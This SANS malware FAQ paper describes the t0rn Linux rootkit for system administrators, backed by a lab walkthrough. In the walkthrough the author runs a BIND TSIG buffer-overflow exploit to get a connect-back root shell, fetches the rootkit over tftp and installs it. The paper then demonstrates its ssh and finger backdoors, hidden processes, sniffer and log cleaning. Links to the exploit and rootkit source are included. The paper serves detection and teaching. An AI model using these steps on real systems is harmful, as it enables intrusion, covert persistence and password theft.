Malware FAQ: SANS Malware FAQ: What is t0rn rootkit?

Author: Paulo Craveiro

Introduction

In most cases, it's quite easy to exploit a given vulnerability and gain root access to a system. What's an actual challenge to an attacker is to maintain such privileges and remain stealthy.

There are many options to accomplish this goal, such as deleting log files, installing rootkits and kernel rootkits. The main concepts described here are applicable to the most rootkits available.

One of the most known rootkits available for Linux platform is the t0rn rootkit, created by J0hnny7. The version showed at this paper (the first one published) uses pre-compiled binaries and it's structure is based on Linux Rootkit (LRK).

This rootkit is easily found on the Internet and it's my objective to describe its several components and behavior to help system administrators to identify it on compromised systems. To install a rootkit, an attacker must compromise the system through a known exploit. After running the exploit and gaining the root level access, it's then a matter of downloading the rootkit and installing it.

In our case, we are going to use the TSIG vulnerability (explained in further sections) of the BIND service that allows us to gain the root level access. However, the main objective of this paper is to describe the rootkit and not to give deep details of the exploit used to gain root level access. It's possible to gain this root level access through several exploits in our setting (Linux RedHat 6.1), like for example, WU-FTP (CVE-2000-0573), STATD (CVE-2000-0666) and, as in our case, TSIG (CVE-2001-0010).

Part I - The exploit

Name

t0rn rootkit (CERT Incident Note 2000-10. There are no CVE entries related to this rootkit).

Compromise Level

Once an intruder had installed it, the system administrator cannot see the attacker's activities.

Affected Operating Systems

The t0rn rootkit was tested and works fine in the following Linux distributions:

RedHat 6.1 and 6.2, Mandrake 7.1, Slackware 7.1. They are mainly based on Kernel 2.2 and libc5. This rootkit doesn't work with Debian 2.2 (not libc5 based) and with the new RedHat systems (7.1 and 7.2). They use Xinetd, a replacement to the old inetd. Besides that they use new kernel versions (2.4) and are not libc5 based.

Before installing the rootkit, we will use the TSIG vulnerability to gain root level access and the following systems are vulnerable to this bug:

All Linux systems containing BIND versions prior to 8.2.3 like, for example, RedHat from 4.0 to 7.0, SUSE from 6.0 to 6.4, Conectiva from 4.0 to 5.1, Debian from 2.2 to 2.3, Mandrake from 6.0 to 7.2. This vulnerable version of the BIND service affects other UNIX flavours like AIX from 4.3 to 4.3.3 as well.



Variants

There are some variants to this rootkit. The Lion Worm, for example, uses exactly the TSIG vulnerability and installs automatically the t0rn rootkit. This worm spreads itself through random class B network scans and looks for an open TCP/53 port. After finding such open port, it verifies whether the DNS (BIND) service is vulnerable or not. More information about Lion Worm can be obtained at:

http://www.sans.org/y2k/lion.htm

There is a known variant to this rootkit which is used to infect new RedHat distributions (versions 7, 7.1 and 7.2), based on the new kernel 2.4 and on the Xinetd. This variant is also known as t0rn version 8. More details can be obtained at:

http://online.securityfocus.com/archive/75/253554
http://www.geocities.com/john_curst/tk8-readme.txt

Protocols

Basically, the protocol used by the TSIG exploit is DNS and the t0rn rootkit uses finger and SSH during the remote administration of the compromised system. More details about these protocols will be given on Part 2, item Protocol Description.

Brief Description The objective of any rootkit is to hide attacker's activities and this is usually accomplished by modifying important system files like, for instance: ps, ls, netstat, top, du, ifconfig and installing sniffers to find other accounts and passwords. With the t0rn rootkit, it's not different. Following, the t0rn components:

ifconfigin.fingerdloginlsnetstatpstreeSzT0rnt0rnpt0rnst0rnsbtop

Binary	Description
du	It hides specific files and directories.
find	Same as du.
Same utility without the PROMISC flag. Used to hide sniffing.
It spawns a root shell.
Backdoored. With it you can use your specified password.
It hides specific files and directories.
It hides specific connections from configured addresses.
pg	Generates hash of a password.
ps	Hide specific processes.
Hide specific processes.
Modifies length of a file based on another file.
Shell Script Installer.
Sniffer log parser.
Powerful packet sniffer.
Log cleaner.
It hides specific processes.

As we can see, the primary objective of any rootkit is to hide the attacker's activities from the system administrators. This is accomplished through binary changes and, once an intruder could gain root level access, it's almost impossible to determine the compromise level (without the use of trusted resources). Usually, the rootkits install sniffers to obtain more passwords with the aim of compromising other systems on the network. Log cleaners are found on such compromised systems to make difficult to a system administrator to figure out what is happening.

Another level of rootkit installations are made through Loadable Kernel Modules (LKM). Basically, almost every modern Unix flavour (Linux, Solaris and FreeBSD) allows the system administrators to load device drivers on the fly into the kernel, avoiding the necessity of kernel recompilation and reboot of the systems. This is really a great feature that makes the administrator's life a bit more easy.

However, it's possible to subvert the system without the necessity of changing binaries. All the interactions are done on the kernel level, using function calls. With these "features" the attacker doesn't need to change the binaries anymore. Good examples of Kernel rootkits are Adore (http://www.sans.org/y2k/adore.htm) and Knark (http://online.securityfocus.com/guest/4871). With such kind of compromise, it's useless to maintain binary hashes (through MD5 checksums) because they are not modified.

We can read more about rootkits and Loadable Kernel Modules at:

http://www.theorygroup.com/Theory/rootkits.html
http://packetstormsecurity.nl/docs/hack/LKM_HACKING.html
http://members.prestige.net/tmiller12/papers/lkm.htm
http://neworder.box.sk/newsread_print.php?newsid=4182

Even when we compile the kernel without Loadable Modules support, it's possible to do some tricks to deceive the system administrator, as we can see at:
References

An analysis of the t0rn rootkit and source code might be obtained at:

http://online.securityfocus.com/infocus/1230
http://www.europe.f-secure.com/v-descs/torn.shtml
http://packetstormsecurity.org/UNIX/penetration/rootkits/tk.tgz

The advisory and source code of the TSIG vulnerability can be obtained at:

http://online.securityfocus.com/bid/2302
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0010
http://packetstormsecurity.org/0102-exploits/tsl_bind.c

Part II - The Attack

Description and Diagram of Network

In this paper I'll describe an hypothetical scenario to show how the TSIG bug can be explored and how to install the t0rn rootkit (actually, the steps described can be expanded to other rootkits as well). In our case, there's no firewall between the attacker's system (host mars, 10.0.0.2) and the target (host saturn, 10.0.0.3).

Even though we're using just internal IP addresses, this scenario might be perfectly expanded to an external attack against a system not protected by a Firewall. We can see this simple netwok topology in figure 1.



Protocol Description

In our scenario we are using a known vulnerability of the DNS protocol (specifically from the BIND software) to attack the target system. Once we get root level access to the machine, the t0rn rootkit allows an attacker to return to the system using finger and ssh protocols. At this section, we are going to see more details about such protocols.

DNS (BIND)

When we use a Web Browser such as Internet Explorer or Netscape Navigator, we type names to access Websites like, for example, www.yahoo.com. Names are used just to make easy to find internet addresses. Actually, only the IP addresses are used in communication among the client's browser (other services use the same approach) and the Web Servers.

The DNS (Domain Name System, RFC 1035) service is used to resolve names to IP addresses. It's an hierarchical system composed by domains and subdomains, just like a file system organization. This protocol uses the port 53/UDP to name lookups and 53/TCP for zone transfers. Zone transfers are used just by Secondary Name Servers when they need to update their names databases.

Usually this service runs at root privilege.

TSIG

The Transaction Signature (TSIG) was introduced in Bind version 8.2. Its main purpose is to allow transaction level authentication for name lookups and for zone transfers. When an invalid TSIG key is identified, BIND returns an error. But there's a serious bug (buffer overflow) when BIND handles invalid transaction signature, on this Linux version. This overflow might be exploited to gain root level privileges.

More information about TSIG can be obtained at:

http://www.nominum.com/resources/standards/bind-rfc/rfc2845

FTP and TFTP

The File Transfer Protocol (FTP - RFC 959) is used to transfer files among servers and clients in both directions. It's possible to list, delete, copy files and create/delete directories, based on different security levels. However, its password authentication is very insecure because all the communications are transmitted in cleartext.

It uses the port 21/TCP (for commands) and 20/TCP (file transfers and directory listing). Most enterprises allow FTP access to the Internet, even from the DMZ, what could lead to rootkit downloads to the compromised servers.

When we use TFTP (Trivial File Transfer Protocol - RFC 783), it's not necessary to log on to the remote system, what makes easy to an intruder the uploading process. This protocol uses UDP (port 69) instead of TCP. Usually this port is closed on Enterprises' firewalls, but in our scenario, there's no firewall protecting the system. In this case, TFTP is much easier to upload files to the machine.

SSH

Secure Socket Shell (SSH) is a replacement to insecure utilities like telnet, rlogin, rsh and rcp, because as we know, these services send passwords, commands and contents in cleartext, without any privacy. All the SSH communications are encrypted and authenticated. The encryption algorithms include Blowfish, DES and IDEA.

Therefore all traffic is encrypted, eliminating eavesdroping and connection hijacking. In our case, the t0rn rootkit uses the SSH to encrypt all the remote administration of the compromised system. During the rootkit installation, the port used to connect to the system is defined by the attacker.

FINGER

With the Finger service it's possible to query names associated with e-mail addresses, verify currently logged users and the uptime of the systems. It's a very insecure service and must be disabled on any Unix system.

When the t0rn rootkit is installed on the system, automatically enables the finger service on /etc/inetd.conf. The daemon associated is actually a command shell that, when invoked, opens a 2555/TCP port. Then an attacker might access the machine using this root shell.

Description and Diagram of the Attack

Now, I'm going to demonstrate how the t0rn rootkit can be installed on a Linux Server, using an hypothetical scenario described in figure 2. This approach is valid to other Linux/Unix systems as well and is very instructive. The target system is a DNS Server that is running several unnecessary services like, for example, HTTP and Sendmail.


Figure 2- Diagram of attack and rootkit installation

First of all, it's necessary to an attacker discover open ports and identify vulnerable services. In our case we are going to use Nmap (http://www.insecure.org/nmap) and Nessus (http://www.nessus.org) to identify ports, services and vulnerabilities.

The result of nmap scan is showed bellow.

# nmap (V. 2.54BETA34) scan initiated Thu Apr 4 12:03:55 2002 as: nmap -sS -O -v -oN saturn_nmap.txt 10.0.0.3

Interesting ports on  (10.0.0.3):
(The 1542 ports scanned but not shown below are in state: closed)

Port       State       Service
13/tcp     open        daytime                 
23/tcp     open        telnet                  
25/tcp     open        smtp                    
37/tcp     open        time                    
53/tcp     open        domain                  
79/tcp     open        finger                  
80/tcp     open        http                    
98/tcp     open        linuxconf               
111/tcp    open        sunrpc                  
113/tcp    open        auth                    
512/tcp    open        exec                    
514/tcp    open        shell                   
515/tcp    open        printer                 

Remote operating system guess: Linux 2.1.19 - 2.2.19
Uptime 0.006 days (since Thu Apr 4 11:54:58 2002)

TCP Sequence Prediction: Class=random positive increments
                         Difficulty=7768407 (Good luck!)

IPID Sequence Generation: Incremental

# Nmap run completed at Thu Apr 4 12:04:01 2002 -- 1 IP address (1 host up) scanned in 6 seconds
 

As we can see on the nmap results, there are some services that are usually good entry points to an intrusion, like SMTP (25), DNS (53), HTTP (80) and RPC (111).

Following, we have a text report generated by Nessus (www.nessus.org).

Nessus Scan Report
------------------

SUMMARY

 - Number of hosts which were alive during the test : 1
 - Number of security holes found : 4
 - Number of security warnings found : 8
 - Number of security notes found : 16

TESTED HOSTS

 10.0.0.3 (Security holes found)

DETAILS

+ 10.0.0.3 :
 . List of open ports :
     daytime (13/tcp) (Security warnings found)
     telnet (23/tcp) (Security warnings found)
     smtp (25/tcp) (Security hole found)
     time (37/tcp)
     domain (53/tcp) (Security hole found)
     finger (79/tcp) (Security warnings found)
     www (80/tcp) (Security notes found)
     linuxconf (98/tcp) (Security notes found)
     sunrpc (111/tcp)
     auth (113/tcp) (Security warnings found)
     exec (512/tcp) (Security warnings found)
     shell (514/tcp) (Security warnings found)
     printer (515/tcp)
     general/tcp (Security notes found)
     daytime (13/udp) (Security warnings found)
     general/icmp (Security warnings found)
     general/udp (Security notes found)

 . Warning found on port daytime (13/tcp)

    The daytime service is running.
    The date format issued by this service  may sometimes help an attacker to guess
    the operating system type. 
    
    In addition to that, when the UDP version of daytime is running, an attacker may link it 
    to the echo port using spoofing, thus creating a possible denial of service.
    
    Solution : disable this service in /etc/inetd.conf.
    
    Risk factor : Low

 . Warning found on port telnet (23/tcp)

    The Telnet service is running.
    This service is dangerous in the sense that it is not ciphered - that is, everyone can sniff
    the data that passes between the telnet client and the telnet server. This includes logins
    and passwords.
    
    You should disable this service and use OpenSSH instead.
    (www.openssh.com)
    
    Solution : Comment out the 'telnet' line in /etc/inetd.conf.
    
    Risk factor : Low
    CVE : CAN-1999-0619

 . Information found on port telnet (23/tcp)

    a telnet server seems to be running on this port

 . Information found on port telnet (23/tcp)

    Remote telnet banner :
    
    Red Hat Linux release 6.1 (Cartman)
    Kernel 2.2.12-20 on an i686
    login:
 
 . Vulnerability found on port smtp (25/tcp) : 
  
    The remote sendmail server, according to its version number,  may be vulnerable to the -bt 
    overflow attack which allows any local user to execute arbitrary commands as root.
    
    Solution : upgrade to the latest version of Sendmail
    Risk factor : High
    Note : This vulnerability is _local_ only

 . Warning found on port smtp (25/tcp)

    The remote SMTP server
    answers to the EXPN and/or VRFY commands.
    
    The EXPN command can be used to find  the delivery address of mail aliases, or 
    even the full name of the recipients, and  the VRFY command may be used to check the 
    validity of an account.
    
    
    Your mailer should not allow remote users to  use any of these commands, because it gives
    them too much information.
    
    
    Solution : if you are using Sendmail, add the 
    option
    	O PrivacyOptions=goaway
    in /etc/sendmail.cf.
    
    Risk factor : Low
    CVE : CAN-1999-0531

 . Information found on port smtp (25/tcp)

    a SMTP server is running on this port
    Here is its banner : 
    220 localhost.localdomain ESMTP Sendmail 8.9.3/8.9.3; Wed, 22 May 2002
     12:08:29
     -0400

 . Information found on port smtp (25/tcp)

    Remote SMTP server banner :
    localhost.localdomain ESMTP Sendmail 8.9.3/8.9.3; Wed, 22 May 2002 12:09:00
     -0400
    214-This is Sendmail version 8.9.3214-Topics:
    214-	HELO	EHLO	MAIL	RCPT	DATA
    214-	RSET	NOOP	QUIT	HELP	VRFY
    214-	EXPN	VERB	ETRN	DSN
    214-For more info use "HELP <topic>".
    214-To report bugs in the implementation send email to
    214-	sendmail-bugs@sendmail.org.
    214-For local information send email to Postmaster at your site.
    214 End of HELP info

 . Vulnerability found on port domain (53/tcp) : 
  
    The remote BIND server, according to its version number, is vulnerable to various buffer
    overflows that may allow an attacker to gain a shell on this host.
    
    Solution : upgrade to bind 8.2.3 or 4.9.8
    Risk factor :
     High

 . Vulnerability found on port domain (53/tcp) : 

    The remote BIND server, according to its  version number, is vulnerable to a DNS storm attack
    
    Solution : upgrade to bind 8.3.1
    Risk factor : High

 . Vulnerability found on port domain (53/tcp) : 
  
    The remote BIND server, according to its version number, is vulnerable to several
    attacks that can allow an attacker to gain root on this system.
    
    Solution : upgrade to bind 8.2.2-P3
    Risk factor : High
    CVE : CVE-1999-0833

 . Warning found on port domain (53/tcp)
    
    The remote name server allows recursive queries to be performed by the host running nessusd.
    
    If this is your internal nameserver, then forget this warning.
    
    If you are probing a remote nameserver, then it allows anyone
    to use it to resolve third parties names (such as www.nessus.org).
    This allows hackers to do cache poisoning attacks against this nameserver.
    
    Solution : Restrict recursive queries to the hosts that should use this nameserver (such as 
    those of the LAN connected to it).
    If you are using bind 8, you can do this by using the instruction 'allow-recursion' in the 
    'options' section of your named.conf
    	
    If you are using another name server, consult its documentation.
    
    Risk factor :
     Serious

 . Information found on port domain (53/tcp)

    The remote bind version is :
     8.2.1

 . Warning found on port finger (79/tcp)

    The 'finger' service provides useful information  to attackers, since it allow them to gain usernames,
    check if a machine is being used, and so on... 
    
    Risk factor : Low
    
    Solution : comment out the 'finger' line in /etc/inetd.conf
    CVE : CVE-1999-0612

 . Information found on port www (80/tcp)

    a web server is running on this port

 . Information found on port www (80/tcp)

    The remote web server type is :
    
    Apache/1.3.9 (Unix)  (Red Hat/Linux)
    
    We recommend that you configure your web server to return bogus versions in order to not leak
    information

 . Information found on port www (80/tcp)

    An information leak occurs on Apache based web servers 
    whenever the UserDir module is enabled. The vulnerability allows an external attacker to enumerate
    existing accounts by requesting access to their home directory and monitoring the response.
     
    Solution: 
    1) Disable this feature by changing 'UserDir public_html' (or whatever) to 
    'UserDir  disabled'.
    
    Or
    
    2) Use a RedirectMatch rewrite rule under Apache -- this works even if there
     
    is no such  entry in the password file, e.g.:
    RedirectMatch ^/~(.*)$ http://my-target-webserver.somewhere.org/$1
    
    Or
    
    3) Add into httpd.conf:
    ErrorDocument 404 http://localhost/sample.html
    ErrorDocument 403 http://localhost/sample.html
    (NOTE: You need to use a FQDN inside the URL for it to work properly).
    
    Additional Information:
    http://www.securiteam.com/unixfocus/5WP0C1F5FI.html
    
    
    Risk factor :
     Low

 . Information found on port linuxconf (98/tcp)

    Linuxconf is running on this port

 . Warning found on port auth (113/tcp)

    The 'ident' service provides sensitive information to potential attackers. 
    It mainly says which accounts are running which  services. 
    This helps attackers to focus on valuable services [those
    owned by root]. If you don't use this service, disable it.
    
    Risk factor : Low
    
    Solution : comment out the 'auth' or 'ident' line in /etc/inetd.conf
    CVE : CAN-1999-0629

 . Information found on port auth (113/tcp)

    an identd server is running on this port

 . Warning found on port exec (512/tcp)

    
    The rexecd service is open. 
    Because rexecd does not provide any good means of authentication, it can be
    used by an attacker to scan a third party  host, giving you troubles or bypassing
    your firewall.
    
    Solution : comment out the 'exec' line 
    in /etc/inetd.conf.
    
    Risk factor : Medium
    CVE : CAN-1999-0618

 . Warning found on port shell (514/tcp)

    The rsh service is running.
    This service is dangerous in the sense that it is not ciphered - that is, everyone can sniff
    the data that passes between the rsh client  and the rsh server. This includes logins
    and passwords.
    
    You should disable this service and use ssh instead.
    
    Solution : Comment out the 'rsh' line in /etc/inetd.conf.
    
    Risk factor : Low
    CVE : CAN-1999-0651

 . Information found on port general/tcp

    Nmap found that this host is running Linux 2.1.19 - 2.2.19

 . Information found on port general/tcp

    Nmap only scanned 15000 TCP ports out of 65535.Nmap did not do a UDP scan, I
     guess.

 . Information found on port general/tcp

    The plugin PC_anywhere_tcp.nasl was too slow to finish - the server killed  it

 . Warning found on port daytime (13/udp)

    The daytime service is running.
    The date format issued by this service  may sometimes help an attacker to guess
    the operating system type. 
    
    In addition to that, when the UDP version of daytime is running, an attacker may link it 
    to the echo port using spoofing, thus creating a possible denial of service.
    
    Solution : disable this service in /etc/inetd.conf.
    
    Risk factor : Low
    CVE : CVE-1999-0103

 . Warning found on port general/icmp
    
    The remote host answers to an ICMP timestamp request. This allows an attacker to know the
    date which is set on your machine. 
    
    This may help him to defeat all your time based authentication protocols.
    
    Solution : filter out the ICMP timestamp requests (13), and the outgoing ICMP 
    timestamp replies (14).
    
    Risk factor : Low
    CVE : CAN-1999-0524
------------------------------------------------------
This file was generated by the Nessus Security Scanner

Figure 3- Quick search on SecurityFocus shows a description about the TSIG (BIND) vulnerability

When we know that there are vulnerable versions of some services it's important to look for further details before trying to explore them. Excelent source of informations about vulnerabilities are the Security Focus - Bugtraq (http://www.securityfocus.com) and Packetstorm (http://packetstormsecurity.com). In figure 3 we have the TSIG bug explanation.

The exploits can be obtained at these sites as well. Once an attacker obtains the root access, he might install a rootkit to allow him to come back and access this machine with the same privileges, even if the system administrator updates and corrects the system bugs. Usually, intruders us FTP or TFTP protocols to upload rootkits to compromised boxes.

In our example there is no firewall protecting the target machine, however there are a lot of administrators out there that make easy the intruder's life. For example, even with incoming firewall protection, they allow any outgoing traffic from critical network segments like DMZ. Just the essential traffic must be allowed among the several network segments.

How the Exploit Works

Our first step is to explore the TSIG vulnerability that gives root level access to the system. Following we have all the necessary steps to use such exploit.

First of all, after downloading the source code of the exploit (please refer to Appendix B), we must compile and start playing with it.

mars:/giac/exploits# cc tsl_bind.c - o tsl_bind
mars:/giac/exploits# ./tsl_bind 10.0.0.3

.   ISC bind 8.2.2-x remote buffer-overflow for linux x86
.   (c)2001 Tamandua Laboratories -  www.axur.com.br
.   (c)2001 Gustavo Scotti <scotti@axur.org>

.   TCP listen port number 25000
.   waiting for server response... 8.2.1
.   probing ebp... ebp is bffffc88
.   waiting for connect_back shellcode response... connected
.          < ^---> from 10.0.0.3:1025
.   congratulations. you have owned this one.
Linux saturn 2.2.12-20 #1 Mon Sep 27 10:40:35 EDT 1999 i686 unknown
uid=0(root)  gid=0(root)

pwd
/var/named
tftp 10.0.0.2
get tk.tgz
exit
ls
named.ca
named.local
tk.tgz

tar xvzf tk.tgz

tk/
tk/netstat
tk/dev/
tk/dev/.1addr
tk/dev/.1logz
tk/dev/.1proc
tk/dev/.1file
tk/t0rns
tk/du
tk/t0rnsb
tk/ps
tk/t0rnp
tk/find
tk/ifconfig
tk/pg
tk/ssh.tgz
tk/top
tk/sz
tk/login
tk/t0rn
tk/in.fingerd
tk/tornkit-TODO
tk/pstree
tk/tornkit-README

cd tk

The rootkit installation is just a matter of typing:

./t0rn coded 5000

Note that in this case, we are installing the rootkit and defining that when we connect via Secure Shell we will use the password coded and the daemon will be listening at port 5000.

Here we have the output screen from the installation.

===============================================================
                    .oooo.                                              oooo                  o8o         .
   .o8           d8P''Y8b                                            '888                   ' ' '        .o8
.o888oo   888       888  oooo d8b  ooo.  .oo.         888   oooo      oooo  .o888oo
   888       888       888  '888''8P     '888P'Y88b      888  .8P'         '888      888
   888       888       888   888           888      888      888888.          888      888
   888 .      '88b    d88'    888           888      888      888   '88b.      888      888 .
    '888'       'Y8bd8P'    d888b       o888o  o888o  o888o  o888o o888o    '888'

===============================================================
             backdooring started on 
#                                                                  
#                                                                  
              checking for remote logging... guess not.
# [Installing trojans....]                                         
#         Using Password :                                         
#         Using ssh-port :                                         
#                                                                  
#          : login moved and backdoored                            
#          : ps/du/ls/top/netstat/find backdoored                  
#                                                                  
# [Moving our files...]                                            
#          : t0rnsniff/t0rnparse/sauber moved                 
#     
# [Modifying system settings to suit our needs]                    
#          : cleaning inetd.conf - enabling finger/telnet          


[Patching... ]  
This version has no patching.. do it manually bitch

[System Information...]
Hostname : 
Arch : 
Alternative IP : 
Distribution: 

ipchains ...?
Chain input (policy ACCEPT):

============================== Backdooring completed in :2 seconds 
^C
mars:/giac/exploits# 

In just two seconds the rootkit has been installed! It's not required to have special skills to install it.

When t0rn rootkit is installed, we have the following modifications made on the system:

1. The syslogd is stopped.
2. It verifies whether the system is logging to a remote host or not. If applicable, It identifies what system(s) is(are) the log server(s).
3. The file /etc/ttyhash is created, which contains the password entered during installation. This is a password for ssh, telnet and finger. Note that the script uses the binary pg to create the hash. If you don't specify a password, the default will be t0rnkit.
4. Untars the file ssh.tgz. It creates the .t0rn directory which contains the following files:
   
   sharsed (Secure Shell Daemon. It's moved into /usr/sbin/nscd and started during boot process). Two entries are added to /etc/rc.d/rc.sysinit with the following:
   
   # Name Server Cache Daemon
   /usr/sbin/nscd -q
   
   
   shdcf2 (Configuration file for Secure Shell. It's copied into shdcf and contains, for example, the port number that will be listening for Secure Shell. If we don't define any port then the default will be 47017).
   
   shhk (Host Private Key).
   
   shhk.pub (Host Public Key).
   
   shrs (Random Seed. Used for criptography).
5. The size and timestamp of the original /bin/login and the backdoored login are left identical. This approach is always used by intruders to hide the substitution of important system files. The original /bin/login is moved to /bin/xlogin and the backdoored login is moved to /bin directory.
6. These directories and files are created:
   
   /usr/src/.puta
   
   The configuration files below are copied into this directory:
   
   .1addr Contains the addresses range that will be ignored by netstat. By default, we have the following entries: 194.82 and 146.101. The port used by Secure Shell is added to this file as well.
   
   .1file Contains the list of files that will be ignored by du, find and ls. By default, we have the following entries: .1proc, .1addr, .1file, 1logz, .puta, .t0rn, in.telnetd, ttyhash, t0rn and xlogin.
   
   .1logz By default, we have the following entries: 195.70, 194.82 and rshd.
   
   .1proc Contains the processes that will be ignored by ps, pstree and top. By default, we have the following entries: in.inetd, nscd and t0rn.
   
   t0rns, t0rnp and t0rnsb (Sniffer, Sniffer log parser and Log cleaner, respectively).
   
   /usr/info/.t0rn
   
   shdcf, shhk, shhk.pub and shrs (they were already explained at item 4).
7. Timestamps of the following trojaned binaries are modified according to the original system files: du, find, ifconfig, in.fingerd, login, ls, netstat, ps and top. Then they are copied to system directories (/sbin, /bin, /usr/bin and /usr/sbin).
8. The sniffer is started (t0rns) and the captured traffic is directed to /usr/src/.puta/system.
9. The /etc/inetd.conf is modified to permit access to the system via telnet and finger. The daemon inet is restarted to reflect the changes made by the script.
10. A verification is done to discover possible restrictions to remote connections. This is accomplished by verifying /etc/hosts.deny and ipchains rules.
11. The installation directory is deleted (in our case is /var/named/tk) and the syslog daemon is started.

After the steps showed above, the rootkit is installed. So let's test it now. First of all, we are going to access the system via Secure Shell. It's important to note that we use coded as the user. This information was provided during the rootkit installation.

mars:/giac/exploits#  ssh coded@10.0.0.3 -p 5000 
[root@saturn /bin]# id
uid=0(root) gid=1(bin) groups=1(bin),2(daemon),3(sys)

[root@saturn /bin]# netstat -an

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:515             0.0.0.0:*               LISTEN      
tcp        0      0 10.0.0.3:53             0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:98              0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:113             0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:79              0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      
udp        0      0 0.0.0.0:1024            0.0.0.0:*                           
udp        0      0 10.0.0.3:53             0.0.0.0:*                           
udp        0      0 0.0.0.0:518             0.0.0.0:*                           
udp        0      0 0.0.0.0:517             0.0.0.0:*                           
udp        0      0 0.0.0.0:111             0.0.0.0:*                           
raw        0      0 0.0.0.0:1               0.0.0.0:*               7           
raw        0      0 0.0.0.0:6               0.0.0.0:*               7           
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node Path
unix  5      [ ]         DGRAM                    290    /dev/log
unix  0      [ ]         STREAM     CONNECTED     112    @0000000f
unix  0      [ ACC ]     STREAM     LISTENING     431    /var/run/ndc
unix  0      [ ACC ]     STREAM     LISTENING     523    /dev/gpmctl
unix  0      [ ACC ]     STREAM     LISTENING     466    /dev/printer
unix  0      [ ACC ]     STREAM     LISTENING     557    /tmp/.font-unix/fs-1
unix  0      [ ]         DGRAM                    560    
unix  0      [ ]         DGRAM                    507    
unix  0      [ ]         DGRAM                    426    
unix  0      [ ]         DGRAM                    343    
unix  0      [ ]         DGRAM                    303    

[root@saturn /bin]# exit
logout
Connection to 10.0.0.3 closed.

The important detail here is that, even though we are connected to the system saturn, using Secure Shell, there is no established connection in netstat output. The IP address of the remote station that is accessing saturn is 10.0.0.2 and we cannot see the connection because the port 5000 was included in /usr/src/.puta/.1addr.

mars:/giac/exploits# finger coded@10.0.0.3
[10.0.0.3]

mars:/giac/exploits# telnet 10.0.0.3 2555
Trying 10.0.0.3 ...
Connected to 10.0.0.3.
Escape character is '^]'.
stdin: is not a tty

ls / 
: No such file or directory
bin
boot
dev
etc
home
lib
lost+found
mnt
opt
proc 
root 
sbin
tmp
usr
var

The in.fingerd daemon opens a root shell on port 2555. It's a matter of telnetting to this port. When typing the commands, the use of a space at the end is necessary. Without the space character, the commands will not work.

mars:/giac/exploits# ssh coded@10.0.0.3 -p 5000 
[root@saturn /bin]# ps -aux

USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
bin        246  0.0  0.2  1196   396  ?  S   04:29   0:00 portmap 
daemon     342  0.0  0.2  1128   484  ?  S   04:29   0:00 /usr/sbin/atd 
nobody     579  0.0  0.7  2748  1408  ?  S   04:30   0:00 httpd 
nobody     580  0.0  0.7  2748  1408  ?  S   04:30   0:00 httpd 
nobody     581  0.0  0.7  2748  1408  ?  S   04:30   0:00 httpd 
nobody     582  0.0  0.7  2748  1408  ?  S   04:30   0:00 httpd 
nobody     583  0.0  0.7  2748  1408  ?  S   04:30   0:00 httpd 
nobody     584  0.0  0.7  2748  1408  ?  S   04:30   0:00 httpd 
nobody     585  0.0  0.7  2748  1408  ?  S   04:30   0:00 httpd 
nobody     586  0.0  0.7  2748  1408  ?  S   04:30   0:00 httpd 
nobody     587  0.0  0.7  2748  1408  ?  S   04:30   0:00 httpd 
nobody     588  0.0  0.7  2748  1408  ?  S   04:30   0:00 httpd 
root         1  0.7  0.2  1104   460  ?  S   04:29   0:04 init 
root         2  0.0  0.0     0     0  ?  SW  04:29   0:00 (kflushd)
root         3  0.0  0.0     0     0  ?  SW  04:29   0:00 (kupdate)
root         4  0.0  0.0     0     0  ?  SW  04:29   0:00 (kpiod)
root         5  0.0  0.0     0     0  ?  SW  04:29   0:00 (kswapd)
root         6  0.0  0.0     0     0  ?  SW< 04:29   0:00 (mdrecoveryd)
root       262  0.0  0.2  1088   464  ?  S   04:29   0:00 /usr/sbin/apmd -p 10
root       315  0.0  0.2  1152   556  ?  S   04:29   0:00 syslogd -m 0 
root       326  0.0  0.3  1412   752  ?  S   04:29   0:00 klogd 
root       358  0.0  0.3  1304   600  ?  S   04:29   0:00 crond 
root       413  0.0  0.2  1124   484  ?  S   04:29   0:00 inetd 
root       473  0.0  0.7  2272  1460  ?  S   04:30   0:00 named 
root       496  0.0  0.2  1176   488  ?  S   04:30   0:00 lpd 
root       539  0.0  0.5  2104  1104  ?  S   04:30   0:00 sendmail: accepting c
root       556  0.0  0.2  1132   444  ?  S   04:30   0:00 gpm -t ps/2 
root       572  0.0  0.6  2560  1312  ?  S   04:30   0:00 httpd 
root       638  0.0  0.5  2196  1148   1 S   04:30   0:00 login -- root     
root       639  0.0  0.1  1076   384   2 S   04:30   0:00 /sbin/mingetty tty2 
root       640  0.0  0.1  1076   384   3 S   04:30   0:00 /sbin/mingetty tty3 
root       641  0.0  0.1  1076   384   4 S   04:30   0:00 /sbin/mingetty tty4 
root       642  0.0  0.1  1076   384   5 S   04:30   0:00 /sbin/mingetty tty5 
root       643  0.0  0.1  1076   384   6 S   04:30   0:00 /sbin/mingetty tty6 
root       661  0.0  0.5  1728   972   1 S   04:32   0:00 -bash 
root       680  0.0  0.2  1080   412  ?  S   04:36   0:00 /usr/sbin/inetd /etc/
root       695  0.1  0.4  1720   952  p0 S   04:39   0:00 -sh 
root       706  0.0  0.2   928   412  p0 R   04:39   0:00 ps -aux 
xfs        599  0.0  0.5  1880   964  ?  S   04:30   0:00 xfs -droppriv -daemon

The ps command shows all the processes running in the system. However, this trojaned version of ps doesn't list two important processes that are nscd (actually Secure Shell) and t0rns (Sniffer).

[root@saturn /bin]#  /sbin/ifconfig eth0

eth0      Link encap:Ethernet  HWaddr 00:50:DA:EB:47:51  
          inet addr:10.0.0.3  Bcast:10.255.255.255  Mask:255.0.0.0
